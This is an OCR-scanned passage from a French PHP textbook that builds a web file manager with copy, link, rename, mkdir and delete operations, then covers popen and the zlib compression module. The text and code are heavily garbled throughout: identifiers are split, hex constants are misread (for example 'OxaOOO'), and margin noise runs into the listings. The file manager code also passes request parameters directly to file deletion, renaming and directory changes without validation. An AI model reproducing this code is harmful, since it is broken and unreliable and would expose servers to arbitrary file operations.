case 3: 

$retPerm = "-wx"; 
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} 



break; 

case 4: 

$retPerm 
break; 

case 5: 

$retPerm 
break; 

case 6: 

$retPerm 
break; 

case 7: 

$retPerm 
break; 

} 

return $retPerm; 
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function affichePermi ssion($fichier) 

{ 

// Recupere le mode du fichier et conversion en octal 
$mode = f i 1 eperms ($f i chier) ; 

// Determine le type du fichier 
if(($mode & 0x1000) === 0x1000) 



$type = "p" 


// 


Port 


elseif(($mode & 


0x2000) 


=== 0x2000) 


$type = "c" 


// 


Materiel 


elseif(($mode & 


0x4000) 


=== 0x4000) 


$type = "d" 


// 


Repertoi re 


elseif(($mode & 


0x6000) 


=== 0x6000) 


$type = "b" 


// 


Materiel FIFO 


elseif(($mode & 


0x8000) 


=== 0x8000) 


$type = "-" 


// 


Fichier normal 


elseif(($mode & 


OxaOOO) 


=== OxaOOO) 


$type = "1" 


// 


Lien symbol i que 


elseif(($mode & 


OxcOOO) 


=== OxcOOO) 


$type = "s" 


// 


Socket 


el se 






$type = "u" 


// Unknown 



$mode = decoct ($mode) ; 
SperTemp = substr($mode,-3) ; 

$permission["utilisateur"] = uPerm(substr($perTemp,0, 1) ) ; 
$permission["groupe"] = uPerm(substr($perTemp, 1, 1) ) ; 
$permission["tous"] = uPerm(substr($perTemp,2, 1) ) ; 

return $type.$permission["utilisateur"] . 

$permission ["groupe"] .$permi ssion ["tous"] ; 



?> 
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L'execution de ce programme affiche done une reponse de la forme drwxrwxrwx. 



Netscape 6 



J_ n x 



Fjchier Edition Afflcher Rechereher ALler a Signets laches Aide 



Precedent Transferer Fiecharger Ureter 



-ierh-araer 1 



hitp ://iwowripc/cdromfcriar. ■*• 



|/home/rnonsite 


drwxr-xr-x 


root root 


4k 


Jul 15 21:26 




-rw-r--r- 


nobody nobody 


533 


Jul 14 10:20 


config_inc.php 


-rw-r— r- 


nobody nobody 


166 


May 07 12:34 


footer_inc.php 


-rw-r-r- 


nobody nobody 


895 


Jul 15 21:28 


forurndbx_inc,pnp 


-rw-r-r- 


nobody nobody 


174 


Jul 15 21:40 


header_inc,php 


-r-r— r— 


nobody nobody 


713 


Jul 15 21:28 


image. gif 


-rw-r-r- 


nobody nobody 


433 


Jul 13 20:12 


index, php 


-r-r-r- 


nobody nobody 


713 


Jul 15 21:28 


logoPHP.gif 


-rw-r~r~ 


nobody nobody 


764 


Jul 14 15:32 


main_inc.php 


-rw-r— r- 


nobody nobody 


187 


Jun 20 08:14 


menuieft_i.nc.php 


-rw-r-r- 


nobody nobody 


188 


Jul 15 21:28 


menur ight_inc . php 



-;s&-- \& Document : Termine (1.3153) 



Figure 9.11 : 

Gestionnaire de 
programmes (version 
5) 



Informations sur le disque 

Nous allons a present completer ce petit gestionnaire de fichiers en affichant l'espace disque 
disponible : l'espace disque total. disk_free_space ( ) , ou son alias diskf reespace ( ) , 
retourne la place restante sur le serveur ; l'instruction disk_totai_space ( ) renvoie la 
capacite totale du disque. 



disk_free_space() 

Retourne l'espace disponible sur le disque contenant un repertoire donne. 

Syntaxe float disk_free_space (string $repertoi re) 

$repertoi re Chemin du dossier ou l'espace est a analyser. 

retour Espace disponible en octets, ou FALSE en cas d'erreur. 

<?php 

// Espace disponible dans le repertoire courant. 
echo disk_free_space(" ./") ; 
echo "<br />"; 

// Espace disponible a la racine. 
echo di sk_free_space("/") ; 

?> 
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disk_total_space() 



CO 

Retourne l'espace total du disque contenant un repertoire donne. cd> =■ ET 

"2 5" ca 

Syntaxe float disk total space(string $repertoire) 3. » jj 

2. CD — ■ 

$repertoire Chemin du dossier ou l'espace est a analyser. 3 "* = 

«° CD Q. 

retour Espace total en octets, ou FALSE en cas d'erreur. "> n> 

<?php 

// Espace disque total dans le repertoire courant. 
echo di sk_total_space(" ./") ; 
echo "<br />"; 

// Espace disque total a la racine. 
echo disk_total_space("/") ; 

?> 

II est a present possible d'ajouter une fonction utilisateur a notre gestionnaire de fichiers. 
Celle-ci va nous permettre d'afficher l'espace restant ainsi que l'espace total dans le repertoire 
courant. 

Listing 9.29 : gestionnaire_fichier_06.php (extrait) 

function espaceDi sque($repCourant) 

{ 

$Mo = pow(2, 20); 

// Retourne une chaine de caracteres indi quant 
// l'espace disque disponible sur l'espace disque 
// total. 

$chDisque = round(disk_free_space($repCourant)/$Mo, l)."Mo"; 
$chDisque .= " /  " ; 

$chDisque .= round(disk_total_space($repCourant)/$Mo, l)."Mo"; 
return $chDisque; 



M Netscape 



- n " 



Fii-.hier Edition Af fie her Rechercher Alter a Signets Taches Aide 

+ . * . 1 i 

Precedent Fiecnargsr 



I httpi/Anyownpe/cdrorri/chaj: » 



3i 





||/honie/nionsite 


313.1Mo/9836.4Mo 


drwxr-xr-x 


root root 


4k 


Jul 15 21:26 




-rw-r-r- 


nobody no body 


533 


Jul 14 10:20 


config_inc.php 


-rw-r~r~ 


nobody nobody 


166 


May 07 12:34 


footer_inc.php 


-rw-r--r-- 


nobody nobody 


895 


Jul 15 21:28 


forum dbx_inc,php 


-rw-r--r-- 


nobody nobody 


174 


Jul 15 21:40 


header_inc.php 


-r-r-r- 


nobody nobody 


713 


Jul 15 21:28 


image.gif 


-rw-r-r- 


nobody nobody 


433 


Jul 13 20:12 


index, php 


-r--r--r- 


nobody nobody 


713 


Jul 15 21:28 


logoPHP.gif 


-rw-r~r~ 


nobody nobody 


764 


Jul 14 15:32 


main_inc.php 


-rw-r--r-- 


nobody nobody 


187 


Jun 20 08:14 


rnenuleft_inc.php 


-rw-r-r- 


nobody nobody 


1SS 


Jul 15 21:28 


rnenur ight_inc .php 



"jaSr Document : Termini (I . 



Figure 9.12 : 

Gestionnaire de fichiers 
(version 6) 
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Exemple (['application 

A present, nous pouvons modifier notre gestionnaire de fichiers de fagon a permettre aux 
utilisateurs d'acceder a la copie de fichiers, ainsi qu'aux autres fonctions : creation de liens, de 
liens symboliques, de repertoires, suppression et replacement de fichiers. 

Nous allons maintenant ajouter des boutons radio afin de permettre la selection d'un des 
fichiers et d'une serie de champs texte, ainsi que des boutons destines a selectionner une 
operation a effectuer en precisant eventuellement un nom. 

Ce qui nous donne le script complet final suivant : 

Listing 9.30 : gestionnaire_fichiers_07_inc.php 

<?php 

// La fonction d 1 expl oration 

// $chemin : Repertoire a explorer 

// $recursif : TRUE si 1 'exploration doit etre recursive 
// $filtre : Expression reguliere de filtrage des fichiers 

function explorer($chemin, $recursi f=FALSE, $fi 1 tre=NULL) { 
$1 i steFi chier = array(); 

$repertoire = openDir($chemin) ; 

while ($fi chier = readDi r($repertoi re) ) { 

// Inutile de tenir compte des entrees . et . . 
if (($fichier != " . ")&&($fichier != "..")) { 
// Est-ce que $file est un repertoire ? 
// Pour le savoir il suffit d'appeler is_dir 
// mais attention n'oublions pas d'ajouter 
// le chemin au nom du fi chier 
if (is_dir($chemin."/".$fichier)&&($recursif)) { 
// oui ? alors explorons-le 

// et ajoutons le resultat a la liste de fichiers 

$1 i steFi chi er = array_merge($l isteFichier, 

expl orer($chemi n. "/" .$fi chier, 
$recursif, $filtre)); 

} else { 

// sinon, c'est un fichier et s'il repond 
// aux criteres de 1 'expression reguliere 
// on l'ajoute a la liste des fichiers 
if (is_null ($filtre) | |eregi ($filtre, $fi chier)) { 
$1 isteFichier[] = $chemi n ."/" .$fi chier; 

} 

} 

} 

} 

// C'est fini. On ferme ! 

cl oseDi r ($repertoi re) ; 

// et on retourne le resultat trie 

sort($listeFichier) ; 

return $1 isteFichier; 

} 
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// Retourne la taille du fichier 

function tailleFichier($fichier) <o 

{ -« o r- 

// calculs des taux de conversion entre Ko, Mo et octet "g 5" id 

$Ko = pow(2, 10); g" " 2. 

$Mo = pow(2, 20); g & o 

«° a a. 

II recupere la taille du fichier en octets S> 
$taille = fileSize($fichier) ; 



// Pas de conversion 
if ($taille<$Ko){ 

$tai 1 leDef = $taille; 
// Conversion en Ko 
} elseif ($taille>=$Ko && $tai 1 1 e<$Mo) { 

$tailleDef = round($taille/$Ko, l)."k"; 
// Conversion en Mo 
} else { 

$tail leDef = round($taille/$Mo, 1)."M"; 

} 

return $tail leDef; 



// Retourne le groupe et 1 1 uti 1 i sateur 
// proprietai res du fichier 
f uncti on propri etai re($f i chi er) 

{ 

// recupere 1'UID du fichier 

$uid = fileowner($fichier) ; 

// Recupere les informations sur l'UID 

$tabUti 1 i sateur = posix_getpwuid($uid) ; 

// recupere le GID du fichier 

$gid = filegroup($fichier) ; 

// Recupere les informations sur 1 'GID 

$tabGroup = posix_getgrgid($gid) ; 

// Renvoi e les noms du groupe et de 1 ' uti 1 i sateur 
return array( 

"uti 1 isateur"=>$tabl)tili sateur ["name"] , 

"groupe" =>$tabGroup ["name"] 

); 



// Retourne la date de la derniere modification du fichier 
f uncti on modi f i cat i onFi chi er ($f i chi er) 

{ 

// Recuperation de la derniere modification du fichier 
$modification = filemtime($fichier) ; 



// Retourne la date de modification formatee 
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return strftime("%b %d %H:%M", $modifi cation) ."\n"; 



$retPerm = 

break; 
case 1: 

$retPerm = "--x"; 

break; 
case 2: 

$retPerm = "-w-"; 

break; 
case 3: 

$retPerm = "-wx"; 

break; 
case 4: 

$retPerm = "r— "; 

break; 
case 5: 

$retPerm = "r-x"; 

break; 
case 6: 

$retPerm = "rw-"; 

break; 
case 7: 

$retPerm = "rwx"; 

break; 

} 

return $retPerm; 

} 

// Retourne les permissions du fichier 
function affichePermission($fichier) 
{ 

// Recupere le mode du fichier et conversion en octal 
$mode = f i 1 eperms ($f i chier) ; 

// Determine le type du fichier 
if(($mode & 0x1000) === 0x1000) 

$type = "p"; // Port 
elseif(($mode & 0x2000) === 0x2000) 

$type = "c"; // Materiel 
elseif(($mode & 0x4000) === 0x4000) 

$type = "d"; // Repertoire 
elseif(($mode & 0x6000) === 0x6000) 

$type = "b"; // Materiel FIFO 
elseif(($mode & 0x8000) === 0x8000) 




// Retourne les permissions sous la forme "rwx 
function uPerm($perm) 



switch ($perm) 



case 0: 
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$type = "-" 
elseif(($mode & 

$type = "1" 
el sei f ( ($mode & 

$type = "s" 



OxcOOO) === OxCOOO) 
// socket 



OxaOOO) === OxAOOO) 
// Lien symboli que 



// Fichier normal 




to 



el se 



$type = "u" 



// Unknown 



$mode = decoct ($mode) ; 



SperTemp = substr($mode,-3) ; 

$permission["utilisateur"] = uPerm(substr($perTemp,0,l)) ; 
$permission["groupe"] = uPerm(substr($perTemp, 1, 1) ) ; 
$permission["tous"] = uPerm(substr($perTemp,2, 1) ) ; 

return $type.$permission["utilisateur"] . 

$permission ["groupe"] .$permi ssion ["tous"] ; 



// Retourne l'espace disque libre et total 
function espaceDi sque($repCourant) 

{ 

$Mo = pow(2, 20); 

// Retourne une chaine de caracteres indi quant l'espace disque 
// disponible sur l'espace disque total. 
$chDisque = round(di sk_free_space($repCourant)/$Mo, l)."Mo"; 
$chDisque .= " /  " ; 

$chDisque .= round(disk_total_space($repCourant)/$Mo, l)."Mo"; 
return $chDisque; 

} 

// Liste et affiche le contenu du repertoire courant 
function 1 i stRepertoi re() 

{ 

// Recuperation du chemin courant 
$repCourant = getcwd(); 

$fichiers = explorer(" . ") ; 

// Nous ajouterons (qui a ete filtre par la fonction) 

if ($repCourant != "/") $fichiers = array_merge (array ("./..") , $fichiers); 



<table border="l" width="100%"> 
<tr> 

<tdxfont color="#cc0000"> 
<?php echo $repCourant; ?> 
</fontx/td> 
<td> 

<?php echo espaceDi sque($repCourant) ;?> 

</td> 
</tr> 



?> 
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?> 



</tabl e> 

<table border="0" width="100%"> 
«g <form name= ' f 1 i ste '> <?php // Formulaire de selection de fichier ?> 

"° °> u> <?php 

o — .± for ($i=0; $i<count($fichiers) ; $i++) 

o r 
"> to SZ 

03 i. (u 

=> 2J a. ? > 

_i o »- <tr> 
o> *" <td> 

<input type="radio" name="selection" 

value="<?php echo $fichiers[$i] ;?>"> 

</td> 
<td> 

<?php echo aff i chePermi ssion($fi chiers [$i] ) ;?> 

</td> 

<td> 

<?php 

$tabPropri etai re = proprietaire($fichiers[$i]) ; 
echo $tabPropri etai re ["uti 1 i sateur"] . "  " ; 
echo $tabProprietaire["groupe"] ; 

</td> 
<td> 

<?php echo tai 1 1 eFi chi er($f ichiers [$i] ) ;?> 
</td> 
<td> 

<?php echo modificationFichier($fichiers[$i]) ;?> 
</td> 
<td> 

/* Le fichier est-il un repertoire ? */ 
if (is_dir($fichiers[$i])) 
{ 

/* 

Le fichier est un repertoire 
On affiche alors un lien qui va nous permettre 
de visualiser le contenu de ce dossier 

*/ 

<a href="?repertoire=<?php echo $repCourant."/"-$f"' c ' 1 iei"s[$i] ;?>"> 
<?php echo basename($fichiers[$i]) ;?> 
</a> 
<?php 
}else{ 
/* 

Le fichier n'est pas un repertoire 
On affiche simplement le nom du fichier 

*/ 

echo basename($fichiers[$i]) ; 

} 

</td> 



<?php 



?> 



?> 
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</tr> 
<?php 
} 

?> 

</form> 
</table> 
<?php 

/* 

Affichage des differents formul aires HTML nous 
permettant de manipuler les fichiers et repertoires. 

7 
?> 

<table border='0' width= ' 100%'> 
<?php /* Copie de fichier */?> 
<tr> 

<form method= 1 post 1 action='gestionnairefichier.php' name='fcopie'> 
<td> 

<b>Copie d'un fichier</b>   
<input type=' hidden 1 name= ' repertoi re ' 

value='<?php echo $repCourant;?>'> 
<input type=' hidden' name=' idFichier'> 
nom du nouveau fichier <input type='text' name='noinCopy'> 
<input type=' hidden 1 value='copy' name='operation'> 
<input type= ' button ' value=' Copier 1 
oncl i ck= 1 

for (var i = 0; i < document. fl iste. selection. length; { 
if (document. fliste.selection[i] .checked) { 
document. f copie. id Fichier. value = 
document. fl iste.selection[i] . val ue; 
break; 

} 

} 

document. fcopie.submit() ; 
'> 

</td> 
</form> 
</tr> 

<?php /* Creation d'un lien */?> 
<tr> 

<form method= ' post ' action='gestionnairefichier.php' name= 1 fl ien '> 
<td> 

<b>Creation d'un lien sur un fi chi er</b>   
<input type=' hidden' name= ' repertoi re ' 

value='<?php echo $repCourant; ?>'> 
<input type=' hidden' name=' idFichier'> 
nom du lien <input type='text' name='nomLien'> 
<input type=' hidden' val ue=' link' name='operation'> 
<input type= ' button ' value=' Creer ' 
oncl i ck= ' 

for (var i = 0; i < document. fl iste. selection. length; i++) { 
if (document. fliste.selection[i] .checked) { 
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document. fl i en. idFichier. value = 
document.fliste.selection[i] .value; 
break; 



document. fl ien.submit() ; 



'> 



</td> 
</form> 
</tr> 



<?php /* Creation d'un lien symbolique */?> 
<tr> 

<form method= 1 post 1 name='flienSymb'> 
<td> 

<b>Creation d'un lien symbolique sur un fichier</b>   
<input type= ' hi dden ' name= 1 repertoi re 1 

value='<?php echo $repCourant;?>'> 
<input type= ' hi dden 1 name=' idFichier '> 

nom du lien symbolique <input type='text' name='nomLienSymbolique'> 
<input type= ' hi dden 1 value='symlink' name='operation'> 
<input type= ' button 1 value=' Creer 1 
oncl ick= 1 

for (var i = 0; i < document. fliste. selection. length; i++) { 
if (document. fliste. selection[i] .checked) { 
document. fl ienSymb. idFichier. value = 
document. fl i ste.selection[i] .value; 
break; 

} 

} 

document. fl ienSymb.submit() ; 



</td> 
</form> 
</tr> 

<?php /* Renommer un fichier */?> 
<tr> 

<form method= 1 post 1 name='frenom'> 

<td> 

<b>Renommer un fichier</b>   
<input type= ' hi dden 1 name= ' repertoi re ' 

value='<?php echo $repCourant;?>'> 
<input type= ' hi dden 1 name=' idFichier '> 

nouveau nom du fichier <input type='text' name='nomFichier'> 
<input type= ' hi dden 1 val ue= ' rename ' name='operation'> 
<input type= ' button 1 value=' Renommer 1 
oncl ick= 1 

for (var i = 0; i < document. fliste. selection. length; i++) { 



> 



if (document. fliste. selection[i] .checked) { 
document. frenom. id Fichier. value = 
document. fl iste.selection[i] .value; 
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break; 



to 



document . f renom. submi t () ; 




'> 



</td> 



</form> 
</tr> 



<?php /* Creer un dossier */?> 
<tr> 

<form method= ' post ' name= 1 fdossier'> 
<td> 

<b>Creer un dossier</b>   
<input type=' hidden 1 name= ' repertoi re 1 

value='<?php echo $repCourant;?>'> 
nom du dossier <input type='text' name='nomDossier'> 
<input type='hidden' value='mkdir l name='operation'> 
<input type= ' button 1 value=' Creer 1 

oncl ick= 1 document .fdossi er. submi t () ; '> 

</td> 
</form> 
</tr> 

<?php /* Suppression d'un fichier */?> 
<tr><form method= 1 post 1 name='fsupprim'> 
<td> 

<b>Supprimer un fichier</b>   
<input type=' hidden' name= ' repertoi re 1 

value='<?php echo $repCourant;?>'> 
<input type=' hidden 1 name=' idFichier'> 
<input type='hidden' val ue= 1 unl i nk 1 name='operation'> 
<input type= ' button 1 value=' Supprimer 1 
oncl ick= 1 

for (var i = 0; i < document. fl iste. selection. length; i++) { 
if (document. fliste.selection[i] .checked) { 
document . fsupprim. i dFichier.val ue = 
document. fl iste.selection[i] .val ue; 
break; 

} 

} 

document. fsupprim. submit() ; 



</td> 
</formx/tr> 
</table> 
<?php 
} 



> 



?> 
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Quant au script principal, il ne devra plus se contenter de permettre la navigation dans les 
repertoires, mais il devra egalement prendre en charge les differentes actions proposees 
g (suppression, renommage, creation de fichiers et de repertoires). 

= -a aj ^^^^^^^^^^^^^^^^^^^^^^^^^ 

= "3 b Listing 9.31 : gestionnaire_fichier_07.php 

<?php 

- J ~ *" include ("gestionnaire_fichier_07_inc.php") ; 

ai 

switch ($_POST["operation"]) 

{ 

// Copie de fichier 
case "copy": 

if (@copy($_POST["repertoire"] . "/" .$_POST["idFi chi er"] , 
$_POST["repertoi re"] . "/" .$_POST["nomCopy"] ) ) 

{ 

$message = "La copie du fichier a ete effectuee."; 
} else { 

$message = "Erreur pendant la copie du fi chier.<br>" ; 

} 

break; 

// Creation d'un lien 
case "link": 

if (@link($_POST["repertoire"] ."/" .$_POST["i dFi chier"] , 
$_POST["repertoi re"] . "/" .$_POST["nomLien"] ) ) 

{ 

$message = "La creation du lien a ete effectuee."; 
} else { 

$message = "Erreur pendant la creation du lien."; 

} 

break; 

// Supprimer un fichier 
case "unlink": 

if ( i s_di r ($_POST [" repertoi re"] . "/" . $_POST [" i dFi chier"] ) ) 
{ 

i f (@rmdi r ($_POST [" repertoi re"] . "/" . $_POST [" i dFi chi er"] ) ) 
{ 

$message = "Le dossier a ete supprime. " ; 
} else { 

echo $_POST["repertoire"] ."/".$_POST["idFichier"]; 
$message = "Erreur, verifiez que le dossier est vide". 
" avant de le supprimer."; 

} 

}else{ 

if (@unl ink($_POST["repertoi re"] . "/" .$_POST["idFi chier"])) 
{ 

$message = "Le fichier a ete supprime."; 
} else { 

$message = "Erreur pendant la suppression du fichier."; 

} 
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} 



// Verifie si "repertoire" est passe en parametre 
if ($_GET ["repertoire"]) 

{ 

if (!@chdir($_GET["repertoire"])) 

{ 

$message = "Le changement de repertoire a echoue."; 



/* Dans le cas ou les donnees sont envoyees par une methode GET */ 
if($_GET["repertoire"]) 

{ 

i f ( !G>chdi r ($_GET ["repertoi re"] ) ) 
{ 

$message = "Le changement de repertoire a echoue."; 



to 

-, o' I - 



} 

break; 

// Creation d'un lien symbol i que 

case "symlink": 5" to 

if (@symlink($_POST["repertoire"] ."/".$_POST["idFichier"] , =■ « £ 

$_POST["repertoire"] . "/" .$_POST["nomLienSymbol ique"] ) ) 3 - o 

{ »|a 
$message = "Le fichier a ete supprime. " ; S> 
} else { 

$message = "Erreur pendant la suppression du fichier."; 

} 

break; 

// Renommer un fichier 
case "rename": 

i f (@rename ($_P0ST [" repertoi re"] . "/" . $_P0ST [" i dFi chi er "] , 
$_P0ST [" repertoi re"] . "/" . $_P0ST ["nomFi chi er"] ) ) 

{ 

$message = "Le fichier a ete renomme."; 
} else { 

$message = "Erreur, impossible de renommer le fichier."; 

} 

break; 

// Creation d'un repertoire 
case "mkdir": 
umask(OOO) ; 

if (@mkdir($_POST["repertoire"] . "/" .$_POST["nomDossier"] , 0760)) 
{ 

$message = "Le repertoire a ete cree."; 
} else { 

$message = "Erreur, impossible de creer le dossier."; 

} 

break; 
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} 

} 

«g /* Dans le cas ou les donnees sont envoyees par une methode POST */ 

■° S w elseif ($ POST["repertoire"]) 

■2 -S3 ~ t 

tS w — if (!@chdir($ POST["repertoi re"] )) 

S » S. { 

jo"- $message = "Le changement de repertoire a echoue."; 

« ~ } 

} 

1 i stRepertoi re() ; 

?> 



m scape 6 | _ H X 
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Precedent Transferer Reclwger Arreter 1 ■ — 1 



/home/monsite ||313Mo /98364Mo 



r 




root root 


4k 


Jul 15 21:26 




r 


-rw-r--r- 


nobody nobody 


533 


Jul 14 10:20 


oonflg_inc.php 


r 


-rw-r--r- 


nobody nofe!3d^ 


166 


May 07 12:34 


footetyjnc.php 


c 


-rw-r-r- 


nobody nobody 


895 


Jul 15 21:28 


forurndb;c_inc.php 


c 


-rw-r-r- 


nobody nobody 


174 


Jul 15 21:40 


header_inc,php 


r 


-r-r-r- 


nobody nobody 


713 


Jul 15 21:28 


image.gif 


r 


-Tw-r-r- 


nobody nobody 


433 


Jul 13 20:12 


index. php 


• 


-r--r-r-- 


nobody nobody 


713 


Jul 15 21:28 


logoPHP.gif 


r 


-rw-r--r- 


nobody nobody 


764 


Jul 14 15:32 


main_inc.php 


r 


-rw-r--r- 


nobody nofeJ3d^ 


187 


Jun 20 08:14 


menuleft_inc.php 


c 


-rw-r-r- 


nobody nobody 


188 


Jul 15 21:28 


menurightjnc.php 



Copie d'un fichier nora dunouveau fichier copier | 

Creation d'un lien sur un fichier norn du lien | Creer | 

Creation d'un lien symbolique sur un fichier nora du lien symbolique | Creer | 

Renommer un fichier nouveaunom du fichier jioqo_PHP.qif Renommer | 

Creer un dossier nora du dossier | Creer | 

Supprimer un fichier Supprimer | 

\£ Document : Termine (2.252 s) | I HI-Irf'j J 

Figure 9.13 : Le gestionnaire de fichiers 

Lecture sur un "pipe" 

PHP offre la possibility de lancer un processus depuis un script et de communiquer avec lui sur 
un canal de communication que Ton appelle alors pipe (tuyau). Pour cela, il faut utiliser 
1'instruction popen f ) . 



popen() 

Lance un processus et ouvre un pipe de communication. 

Syntaxe resource popen(string $commande, string $mode) 
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$commande Commande a executer. 

$mode Definit le mode d'ouverture. Contrairement a f open ( ) , ici le mode ne 

peut etre qu'en lecture seule 'r' ou en ecriture seule V. 

retour Pointeur sur le processus cree, ou FALSE s'il y a une erreur. 

<?php 

$pp = popen("more fichier.txt", "r"); 

?> 

II n'est pas possible de fermer le processus a l'aide de l'instruction f close ( ) . Le langage PHP 
met a la disposition des developpeurs la fonction pciose ( ) qui ferme et libere le processus cree 
par popen ( ) . 



pciose () 

Termine un processus et ferme le pipe associe. 
Syntaxe boolean pel ose(resource $pp) 

$pp Pointeur du pipe tel que retourne par la fonction popen ( ) . 

retour TRUE en cas de succes, FALSE sinon. 

Voici un exemple (dans la serie "pourquoi faire simple quand on peut faire complique".) 
utilisant la commande more pour lire le contenu d'un fichier. 

<?php 

$pp = popen("more fichier.txt", "r"); 
while ($chaine = fgets($pp, 255)) 

{ 

echo $chaine; 

} 

pclose($pp) ; 

?> 

Ce qui, dans notre cas, retourne (tout betement) : 



fichier.txt 



voici le texte que j'ai placer dans fichier.txt 
Bon, ca ne fait pas avancer le schmilblik 



Compression 

PHP propose differentes bibliotheques liees a la compression, mais la bibliotheque zlib est la 
seule a fonctionner parfaitement (contrairement a bzip2), comme elle est la seule a permettre 
a la fois la compression et la decompression (contrairement a zip). 



ce 

-t cV r— 

CD> =■ OJ 

n> 3 -( S 

iif 71 m 

3. «" eo 

s- a s- 

CD Q. = 

«*> cd a. 

CO CD 
CO 
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Compression Zlib 

zlib est la bibliotheque a la base de Gzip (GNUZip), qui est lui-meme 1'utilitaire de 
compression le plus utilise sous UNIX. Toutes les distributions Linux fournissent cet utilitaire, 
ce qui est bien normal lorsqu'on sait qu'il est developpe par le Projet GNU de la Free Software 
Foundation (http://www.gnu.org). Rien d'etonnant done a trouver, dans PHP, diverses commandes 
permettant d'exploiter la librairie zlib. 

En ligne de commande, la compression est effectuee avec la commande gzip nomAr chive. Le 
fichier est alors remplace par un nouveau fichier possedant l'extension .gz. Attention, car Gzip 
ne peut en aucun cas compresser plusieurs fichiers a la fois. Si vous desirez compresser une 
serie de fichiers, vous devez au prealable les archiver (avec la commande tar par exemple). La 
decompression s'effectue avec la commande gzip -a nomAr chi ve . gz. Si le fichier n'est pas 
un fichier compresse au format Gzip, alors la decompression echouera et renverra une alerte. 

Le langage PHP s'est done interface avec la bibliotheque zlib, ce qui permet d'effectuer 
diverses operations courantes de compression et de decompression. 

Pour information, la zlib utilise, entre autres, l'algorithme de Huffman pour compresser les 
donnees. Le principe de cet algorithme est de modifier l'encodage des caracteres en analysant 
la frequence de repetition de ces caracteres. L'algorithme les classe du plus au moins frequent. 
L'unite de traitement etant ramenee au bit, chaque caractere possede alors un nouvel encodage 
sur un nombre de bits variable. Ainsi, le caractere le plus utilise possede une valeur sur un petit 
nombre de bits et le caractere le moins utilise est encode sur un nombre de bits plus grand. 

Une fois encodee, une donnee repetitive occupe moins de place que l'original (il y a bien 
compression) tandis qu'une donnee rare occupe plus de place (qui doit etre largement 
compensee par la compression). Le tableau suivant permet de mieux comprendre ce principe. 

Imaginez un texte (autre que la Disparition de Georges Perec qui ne contient pas de "e") qui 
possederait 15 fois la lettre "w", 260 fois la lettre "e" et 510 fois la lettre "a". Habituellement, un 
caractere est code sur 8 bits. Nous pouvons imaginer qu'avec la compression zlib, le caractere 
"w" (peu represente) occupe 12 bits, le caractere "e" (bien represente) 6 bits et, enfin, le 
caractere "a" (ires present) 2 bits. Dans ce cas le texte ne fera pas (15+260+510)*8 = 6280 mais 
15*12+260*6+510*2=2760, ce qui constitue bien une compression du texte. 

Cette technique d'encodage est a la base des compressions jpeg, Tiff et aussi, done, de la 
compression zlib. 

Installation 

Sous Windows 

Depuis PHP 4.3.0 vous n'avez rien a faire pour disposer de ces fonctions. Si toutefois vous 
souhaitez utiliser une version anterieure alors verifiez que vous avez active l'extension 
php_zlib.dll. 

Sous Linux 

Pour installer le module zlib, vous devez, dans un premier temps, recuperer les sources de la 
bibliotheque disponible sur le site (en anglais) http://www.gzip.org/zlib/ (ou sur le CD-ROM fourni). 

Vous pouvez alors copier l'archive dans un repertoire quelconque (/usr/local/lib, par exemple) 
et commencer sa decompression. 
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# gunzip zlib-1.1.4.tar.gz 

# tar xvf zlib-1.1.4.tar 

ce 

Vous utiliserez la methode classique de compilation et d'installation, cd> =■ ET 

# cd zlib-1.1.4 3. « S 

O en ^ 

# ./configure ^" ™ 5' 

h i CD n. = 

# make cd q. 

# make install S> 

ce qui aura pour effet d'ajouter un fichier libz.a dans le repertoire lusrllocal/lib. 



REMARQUE 



Distributions Linux 

Comme vous Vaurez remarque, la procedure d'installation decrite icifait elle-meme 
appel a Gzip. Ceci ne devrait pas constituer un probleme, puisque Gzip est 
generalement installe avec Linux. Sachez toutefois que {'archive Gzip est disponible 
sous d'autres formats de compression. 

De meme, il n 'est pas forcement necessaire de recompiler cette bibliotheque comme 
indique precedemment, puisque les distributions Linux incluent generalement des 
"paquetages" de Gzip pour le developpement (y sont inclus les en-tetes et la 
bibliotheque compilee). 

Ainsi, sous Mandrake 8.1 (par exemple), la procedure d'installation peut etre 
remplacee par : 

# rpm -U zl ibl-1. 1.3-16. Imdk.i586.rpm 

# rpm -U zlibl-devel-1.1. 3-16. Imdk.i586. rpm 

Quoi qu'il en soit, vous devez necessairement etre equipe d'une version superieure ou 
egale a 1. 0. 9. 



Vous devez alors recompiler PHP avec l'option --with-zlib=/usr /local. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 



Verification 

Verifiez que le module zlib est bien installe en appelant une page contenant <?php 

phpinf o ( ) ; ?>. 
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zlib 



ZLib Support 


enabled 


'zlib:' fopen wrapper 


enabled 


Compiled Version 


1.1.3 


Linked Version 


1.1.3 




Directive 


Local Value 


Master Value 


zlib.output compression 


Off 


Off 



Figure 9.14 : Le phpinfo vous informe de I 'installation du module zip. 



Ouvrir et fermer un fichier Gzip 

Le module zlib fonctionne a peu pres comme les fonctions du systeme de fichiers. Vous allez 
retrouver la plupart de ces fonctions. De plus, depuis la version 4.0.4 de PHP, il est possible 
d'ouvrir un fichier compresse au format gzip depuis un appel classique a fopen ( ) . II suffit de 
faire preceder le chemin du fichier a ouvrir par "compress .zlib: //" (zlib : pour PHP<4.3.0), 
comme le montre l'exemple ci-dessous. 

<?php 

$fp = fopen("compress .zl ib://monFi chi er. txt .gz" , "r") ; 
fclose($fp) ; 

?> 



L'ouverture d'un fichier compresse avec Gzip se fait a l'aide de l'instruction gzopen ( ) . Comme 
pour la fonction fopen ( ) , le developpeur doit indiquer le mode d'ouverture (ecriture seule, 
lecture seule ou lecture/ecriture), et peut egalement preciser un niveau de compression ainsi 
qu'une strategic de compression. 



> 1 • 



RENVOI 



Rendez-vous au debut de ce chapitre, a la description de la fonction fopen ( ), pour 
connaitre les differents modes possibles et leurs particularites. 



gzopen () 

Ouverture d'un fichier compresse au format gzip. 

Syntaxe resource gzopen (stri ng $nomFichier, string $mode [, boolean 

$chemi nlncl ude] ) 

$nomFichier Chemin du fichier. 

$mode Definit le mode d'ouverture du fichier : 

"r" pour la lecture seule. 
"r+" pour une lecture et une ecriture. 
"w" pour une ecriture avec ecrasement des donnees. 
"w+" pour un mode en lecture et ecriture avec ecrasement des donnees. 
"a" pour l'ouverture en ajout de donnees. 

"a+" pour l'ouverture du fichier en mode lecture et ecriture par ajout. 
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Vous pouvez ajouter le niveau de compression entre "0"(aucune 
compression) et "9 "(compression maximale) ; par defaut le niveau est de 
"6". 

Vous pouvez specifier une strategic : 
"f " pour des donnees filtrees. 

"h" pour l'utilisation de 1'algorithme de Huffman uniquement. 

